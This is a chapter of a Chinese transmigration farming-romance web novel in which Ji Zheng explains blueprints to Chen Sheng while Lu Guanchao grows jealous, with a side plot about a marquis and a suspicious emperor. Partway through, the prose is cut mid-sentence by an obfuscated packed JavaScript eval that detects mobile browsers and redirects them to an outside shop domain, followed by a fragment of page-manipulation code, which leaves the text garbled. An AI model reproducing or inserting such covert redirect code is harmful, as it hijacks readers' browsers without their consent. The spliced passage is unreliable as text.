文趣网 > 其他小说 > 穿越后一心种田 > 18. 第 18 章
    季铮没听到陆观潮回话,抬眼发现他在发呆,挥了挥手问道,“你想什么呢?”

    “我……”陆观潮别过脸,“没什么,我听懂了,不用再讲了。”

    季铮还没讲开心,但任爽快的合上图纸,“好吧,剩下没讲完的到陈昇家里一块讲。”

    陆观潮闷闷“嗯”了一声,没什么表情。

    他忽然反应过来,季铮好像不能拎着带在身边。

    那可怎么办,陆观潮不想让季铮和陈昇走太近。

    如果季铮也是猫就好了。

    季铮拍拍身上不存在的灰站起身,“好了,再晚就赶不上吃午饭了。”

    陆观潮这才将脑中稀奇古怪的想法抛到脑后,跟上季铮。

    将要入夏,正午天透着燥热,陈昇应是才忙完回来,裸着上身在院中冲凉,凉水顺着脑袋流下。

    陆观潮走在季铮前面,打眼看见这场景,迅速的转身捂住季铮的眼睛。

    “怎,怎么了?”季铮眼前蓦然一黑,不明所以的摇了摇头意图挣脱开。

    陆观潮贴近季铮耳边,语气仿佛吃了屎一样,“别看,脏东西。”

    脏东西?

    什么鬼?

    陈昇还能在院里放屎吗?

    季铮扒拉着陆观潮的手,“别闹,有正经事呢。”

    陈昇听到声音看过来,发现是两人后,激动的招手,“季铮哥,陆哥,你们来了啊。”

    他没心没肺的袒露胸膛,见陆观潮捂季铮眼睛,不解问,“干嘛捂着季铮哥的眼睛,他眼睛受伤了吗?”

    在受到陆观潮眼刀后,陈昇脑中嗡鸣,才想起来穿衣服。

    刹那间他脸爆红,语无伦次的套衣服,“啊,对不住,我,我不知道,你们要来。”

    陆观潮不爽道,“还不快穿好。”

    “嗯?”季铮下半张脸勉强挂起一个笑,伸直胳膊四下摸索,“哈喽,有人吗?!”

    这里还有一个失去光明,蒙在事外的的人呢!

    不就脱个衣服,至于这么严肃吗。

    陆观潮看着陈昇穿戴整齐,缓缓放下捂着季铮的手。

    季铮适应了光线后,睁眼奇怪的看了陆观潮一眼,“你有病吗,动不动遮我眼睛干什么?”

    “没什么。”陆观潮摆明了不想解释的样子,站在院门不动了,“你去吧,我在等会你。”

    季铮不明白陆观潮的想法,但要事当前没心情顾及他,翻出图纸去找陈昇。

    陈昇脸上余热还没降下去,支支吾吾的应着,悄悄用眼神瞟季铮。

    “别看我啊,看这个。”季铮恨铁不成钢,“我脸上有东西吗?”

    他眉头微蹙。

    今天怎么回事,一个两个的都不好好听他说话。

    “没有。”陈昇嘿嘿笑了两声,总算老老实实的听季铮讲解了。

    认真听下来,陈昇不禁感叹,“真奇了,季铮哥,你哪来的这么多好点子。”

    他眸底发着光,崇拜的看着季铮。

    季铮一下子幻视穿越前,身后跟着求教导的小学弟学妹们了,被看得脚底发虚,推脱道,“也没有——”

    “季铮。”

    陆观潮张口不耐烦打断,“还没说完?”

    季铮看了看日头,是有点晚了,他将图纸留下和陈昇告别。

    走前,陈昇不好意思道,“让你见笑了,对了,雨季马上要来了,有人家提前打算要修缮房屋,我闲来没事会去各处帮忙,季铮哥有需要随时来找我。”

    季铮想起自己家屋顶草草补上的窟窿,大抵是扛不过去,再说季秧的屋子久不住人,也得好好修缮。

    不能事事劳烦陆观潮,季铮便顺梯子往上爬接下这人情,约陈昇改日叙。

    回程路上,陆观潮阴着脸,一言不发。

    季铮戳了戳他,问,“怎么了?你也想要图纸?”

    “哼。”陆观潮像是就等着季铮问了,愤愤道,“你和他聊了快一个时辰,我等了你一个时辰,你不问问我,也得记得季秧还在家里吧。”

    原来如此,真看不出来,陆观潮平日里对季秧生疏的态度,他还以为陆观潮不待见他的亲亲好妹妹呢。

    没成想,陆观潮还是个面冷心热的,内里居然关心着季秧。

    季铮安慰道,“她又不是小孩子,饿了自己会做饭吃,我下次不这样了,行不行?”

    陆观潮面色稍缓,却依旧不好看。

    他当然知道季秧饿了会吃东西,重点是这个吗,重点是他等了季铮一个时辰。

    整整一个时辰,季铮没和他说一句话,不管他热不热,累不累。

    聊聊聊,怎么不干脆住陈昇家里!

    面上,他没敢说出来,万一季铮不长脑子真就跑人家家里住去了怎么办,这人前段时间还说要分床睡呢。

    季铮歪头看陆观潮的表情,遭受一记白眼。

    “又怎么了,我的大小姐~”

    他一脸陶醉的唱出来,仿佛不知道自己的歌声有多难听。

    陆观潮脚下步子顿住,一本正经捏住季铮的嘴道,“不许再唱,我不喜欢。”

    季铮忙不迭点点头,被松开后追问,“为什么不让我唱,不好听吗?”

    “不好听。”陆观潮从没听过这种唱词,毫无功底,比军中唱来助兴的呦呵还低俗,季铮不知羞耻,什么也能唱出来。

    能作出这种词,四书五经书都读到狗肚子里了。

    顿了顿,陆观潮耳尖红了一点,干巴巴道,“我是男子,不该称呼小姐。”

    “哦。”季铮当即改词,“我的大少爷?”

    回应他的,是陆观潮恼羞成怒的背影。

    大都城外,两匹马踏过才生出来的青草。

    镇南候呵停骏马,搓了把一路赶来略显沧桑的面孔,赵年递来水壶,他接过道声谢,昂头灌了大半才解口渴。

    赵年道,“依殿下谋算,定是假死,侯爷切莫伤怀。”

    水壶不知什么时候落进去沙子,镇南候抿嘴吐掉,道,“我自然知道,陛下逼得太紧了,殿下有了煞星名号,此生再无缘皇位,何必要斩草除根。”

    赵年叹了一口气,外人不清楚,他能不清楚吗?

    陛下最是多疑,登基才一年,以各种雷霆手段处死了十几位皇子皇女,对外宣称自戕病逝,有几个是真,连尚在襁褓中的十六皇子也没放过。

    得亏

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17595661|205564||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    陆观潮在幽州才躲过一劫,奈何帝王心难测,悬在头上的刀终归要落下。

    镇南候将水壶还给赵年,一抹嘴角水渍,道,“你就跟到这里吧,去找你家殿下。”

    “那您自己去?”赵年驾马往镇南候的地方靠了靠,“陛下病重,朝中必定不安生,万一出现意外,属下在也好有个通信的。”

    镇南候握紧缰绳,神色一凌,“本侯亲自去看看,陛下这场病是怎么回事。”

    他回头,朝赵年道,“殿下既然传出身死的消息,你此时回去,恐遭人怀疑,不若去寻他,这样我也能安心些。”

    赵年一想确实,便不再坚持,拜别镇南候,看着人骑马跑远才有动作。

    官道上青草没过马蹄。

    良久,赵年调转马头,朝反方向驾马。

    季秧每日没什么活干,练完字就绣绣花,这日嫌太无聊,早早和季铮打了招呼,要和朋友去镇上玩。

    季铮格外欣慰,临走不顾季秧说的有钱,硬是塞了满满一袋子零钱给她。

    今日季铮去地里,新长出来的苗已及膝盖高,粟米在八月多收获,而今马上要六月了,也该要备下半年要种的粮食了。

    为此季铮专门戳了系统,对种什么有没有硬性要求,不出所料,得到一句自行探索。

    季铮问过赵大爷后,村里普遍种冬小麦,想来随大流不会出错,便托季秧留心买些麦种回来。

    家里只剩两人,外面日头大,陆观潮不知忙着干什么,迟迟不进屋。

    季铮起初没管他,翻出原身柜里其余的书,打算读过一遍自己教季秧。

    这段时间陆观潮累极了,累到晚上睡觉不老实,常常睡着睡着就搂住他,总叫季铮半夜憋醒。

    原主读的不过一些四书五经,搜集来的各式文章,中间夹着字帖,看内容是某某皇帝的仿书。

    奇怪,这些书从某一个节点开始,再无笔记,干干净净的像新的一样,往前翻,尽是密密麻麻的批注。

    季铮心道,这是十六岁考中后就没学过了吧,还好意思花妹妹钱呢?

    穿越前他要是遇到这种人,定会蒙住头揍一顿。

    原身真是够自信的。

    有一说一,字写的不错,和他有的一拼。

    季铮合上书,正要拿下一本,耳边传来水声。

    陆观潮在搞什么呢?

    季铮起身出门,入眼一副美男出浴图。

    “?”

    倒也没有多夸张,不过脱了半边衣服,那里不常照太阳,要比手臂白几度吗,只是那身肌肉实在漂亮,季铮忍不住要夸一夸。

    陆观潮看过来,被季铮看了也没做表情,自然过头了。

    他甚至带了点自得,看样子应是还想把另一边衣服也拔下来。

    既然陈昇能做,他也能做,不就是脱件衣服。

    “你。”季铮被他这洋洋得意的模样气到了,很不理解,“干嘛在院子里冲水?”

    或者说,大白天的弄这么一出啥意思。

    给他表演裸男秀?

    季铮脸渐渐黑了。

    挑衅,这一定是挑衅!

    欺负他一个弱男子有一百万可以领吗!